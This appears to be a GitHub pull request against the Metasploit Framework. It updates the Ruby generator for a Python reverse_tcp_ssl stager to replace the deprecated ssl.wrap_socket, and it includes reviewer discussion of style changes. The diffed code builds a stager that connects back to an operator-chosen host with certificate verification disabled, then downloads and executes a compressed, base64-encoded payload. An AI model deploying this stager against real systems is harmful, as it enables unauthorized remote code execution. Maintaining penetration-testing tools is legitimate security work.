-
Notifications
You must be signed in to change notification settings - Fork 14.9k
Fix incompatibility with ssl.wrap_socket() in newer python versions in payloads using it #21303
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,88 +1,95 @@ | ||
| # -*- coding: binary -*- | ||
|
|
||
| module Msf | ||
|
|
||
| ### | ||
| # | ||
| # Complex reverse_tcp_ssl payload generation for Python | ||
| # | ||
| ### | ||
|
|
||
| module Payload::Python::ReverseTcpSsl | ||
|
|
||
| include Msf::Payload::Python | ||
| include Msf::Payload::Python::ReverseTcp | ||
| def initialize(*args) | ||
| super | ||
| register_advanced_options(Msf::Opt::stager_retry_options) | ||
| end | ||
|
|
||
| ### | ||
| # | ||
| # Generate the first stage | ||
| # Complex reverse_tcp_ssl payload generation for Python | ||
| # | ||
| def generate(_opts = {}) | ||
| conf = { | ||
| port: datastore['LPORT'], | ||
| host: datastore['LHOST'], | ||
| retry_count: datastore['StagerRetryCount'], | ||
| retry_wait: datastore['StagerRetryWait'] | ||
| } | ||
| ### | ||
|
|
||
| generate_reverse_tcp_ssl(conf) | ||
| end | ||
| module Payload::Python::ReverseTcpSsl | ||
| include Msf::Payload::Python | ||
| include Msf::Payload::Python::ReverseTcp | ||
| def initialize(*args) | ||
| super | ||
| register_advanced_options(Msf::Opt.stager_retry_options) | ||
| end | ||
|
|
||
| # | ||
| # By default, we don't want to send the UUID, but we'll send | ||
| # for certain payloads if requested. | ||
| # | ||
| def include_send_uuid | ||
| false | ||
| end | ||
| # | ||
| # Generate the first stage | ||
| # | ||
| def generate(_opts = {}) | ||
| conf = { | ||
| port: datastore['LPORT'], | ||
| host: datastore['LHOST'], | ||
| retry_count: datastore['StagerRetryCount'], | ||
| retry_wait: datastore['StagerRetryWait'] | ||
| } | ||
|
|
||
| def supports_ssl? | ||
| true | ||
| end | ||
| generate_reverse_tcp_ssl(conf) | ||
| end | ||
|
|
||
| def generate_reverse_tcp_ssl(opts={}) | ||
| # Set up the socket | ||
| cmd = "import zlib,base64,ssl,socket,struct#{opts[:retry_wait].to_i > 0 ? ',time' : ''}\n" | ||
| if opts[:retry_wait].blank? # do not retry at all (old style) | ||
| cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2 | ||
| cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n" | ||
| cmd << "s=ssl.wrap_socket(so)\n" | ||
| else | ||
| if opts[:retry_count] > 0 | ||
| cmd << "for x in range(#{opts[:retry_count].to_i}):\n" | ||
| else | ||
| cmd << "while 1:\n" | ||
| end | ||
| cmd << "\ttry:\n" | ||
| cmd << "\t\tso=socket.socket(2,1)\n" # socket.AF_INET = 2 | ||
| cmd << "\t\tso.connect(('#{opts[:host]}',#{opts[:port]}))\n" | ||
| cmd << "\t\ts=ssl.wrap_socket(so)\n" | ||
| cmd << "\t\tbreak\n" | ||
| cmd << "\texcept:\n" | ||
| if opts[:retry_wait].to_i <= 0 | ||
| cmd << "\t\tpass\n" # retry immediately | ||
| else | ||
| cmd << "\t\ttime.sleep(#{opts[:retry_wait]})\n" # retry after waiting | ||
| end | ||
| # | ||
| # By default, we don't want to send the UUID, but we'll send | ||
| # for certain payloads if requested. | ||
| # | ||
| def include_send_uuid | ||
| false | ||
| end | ||
| cmd << py_send_uuid if include_send_uuid | ||
| cmd << "l=struct.unpack('>I',s.recv(4))[0]\n" | ||
| cmd << "d=s.recv(l)\n" | ||
| cmd << "while len(d)<l:\n" | ||
| cmd << "\td+=s.recv(l-len(d))\n" | ||
| cmd << "exec(zlib.decompress(base64.b64decode(d)),{'s':s})\n" | ||
|
|
||
| py_create_exec_stub(cmd) | ||
| end | ||
| def supports_ssl? | ||
| true | ||
| end | ||
|
|
||
| def handle_intermediate_stage(conn, payload) | ||
| conn.put([payload.length].pack("N")) | ||
| end | ||
| def generate_reverse_tcp_ssl(opts = {}) | ||
| # Set up the socket | ||
| cmd = "import zlib,base64,ssl,socket,struct#{opts[:retry_wait].to_i > 0 ? ',time' : ''}\n" | ||
| if opts[:retry_wait].blank? # do not retry at all (old style) | ||
| cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2 | ||
| cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n" | ||
| cmd << "if hasattr(ssl, \"PROTOCOL_TLS_CLIENT\"):\n" | ||
| cmd << "\tcontext=ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n" | ||
| cmd << "\tcontext.check_hostname = False\n" | ||
| cmd << "\tcontext.verify_mode = ssl.CERT_NONE\n" | ||
| cmd << "\tso = context.wrap_socket(so)\n" | ||
| cmd << "else:\n" | ||
| cmd << "\tso = ssl.wrap_socket(so)\n" | ||
| else | ||
| if opts[:retry_count] > 0 | ||
| cmd << "for x in range(#{opts[:retry_count].to_i}):\n" | ||
| else | ||
| cmd << "while 1:\n" | ||
| end | ||
| cmd << "\ttry:\n" | ||
| cmd << "\t\tso=socket.socket(2,1)\n" # socket.AF_INET = 2 | ||
| cmd << "\t\tso.connect(('#{opts[:host]}',#{opts[:port]}))\n" | ||
| cmd << "\t\tif hasattr(ssl, \"PROTOCOL_TLS_CLIENT\"):\n" | ||
| cmd << "\t\t\tcontext=ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n" | ||
| cmd << "\t\t\tcontext.check_hostname = False\n" | ||
| cmd << "\t\t\tcontext.verify_mode = ssl.CERT_NONE\n" | ||
| cmd << "\t\t\tso = context.wrap_socket(so)\n" | ||
| cmd << "\t\telse:\n" | ||
| cmd << "\t\t\tso = ssl.wrap_socket(so)\n" | ||
| cmd << "\t\tbreak\n" | ||
| cmd << "\texcept:\n" | ||
| if opts[:retry_wait].to_i <= 0 | ||
| cmd << "\t\tpass\n" # retry immediately | ||
| else | ||
| cmd << "\t\ttime.sleep(#{opts[:retry_wait]})\n" # retry after waiting | ||
| end | ||
| end | ||
| cmd << py_send_uuid if include_send_uuid | ||
| cmd << "l=struct.unpack('>I',so.recv(4))[0]\n" | ||
| cmd << "d=so.recv(l)\n" | ||
| cmd << "while len(d)<l:\n" | ||
| cmd << "\td+=so.recv(l-len(d))\n" | ||
| cmd << "exec(zlib.decompress(base64.b64decode(d)),{'s':so})\n" | ||
|
|
||
| end | ||
| py_create_exec_stub(cmd) | ||
| end | ||
|
|
||
| def handle_intermediate_stage(conn, payload) | ||
| conn.put([payload.length].pack('N')) | ||
| end | ||
| end | ||
| end | ||
|
|
||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -62,7 +62,7 @@ def command_string | |
| if datastore['PythonPath'].blank? | ||
| return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | $(which python || which python3 || which python2) -" | ||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. What does the hyphen removal do?
Contributor
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. tldr : it does not do anything i will put it back in #21168 i received this comment hinting at the fact that the hyphen might have been unnecessary. After testing, i could not find a use case where it changed anything so i removed it. I removed it in this PR for consistency but i forgot that my previous pr was merged without those changes due to problems with github (i had to reopen the PR on another account) therefore it is not consistent and i will put it back. |
||
| else | ||
| return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | #{datastore['PythonPath']} -" | ||
| return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | #{datastore['PythonPath']} -" | ||
| end | ||
| end | ||
| end | ||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is there a reason for this? The double colon
::appears to be the standard?There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I got this warning when running rubocop on the file :
lib/msf/core/payload/python/reverse_tcp_ssl.rb:17:39: C: [Correctable] Style/ColonMethodCall: Do not use :: for method calls. register_advanced_options(Msf::Opt::stager_retry_options)so i applied the autofix, should i revert it to how it was initially ?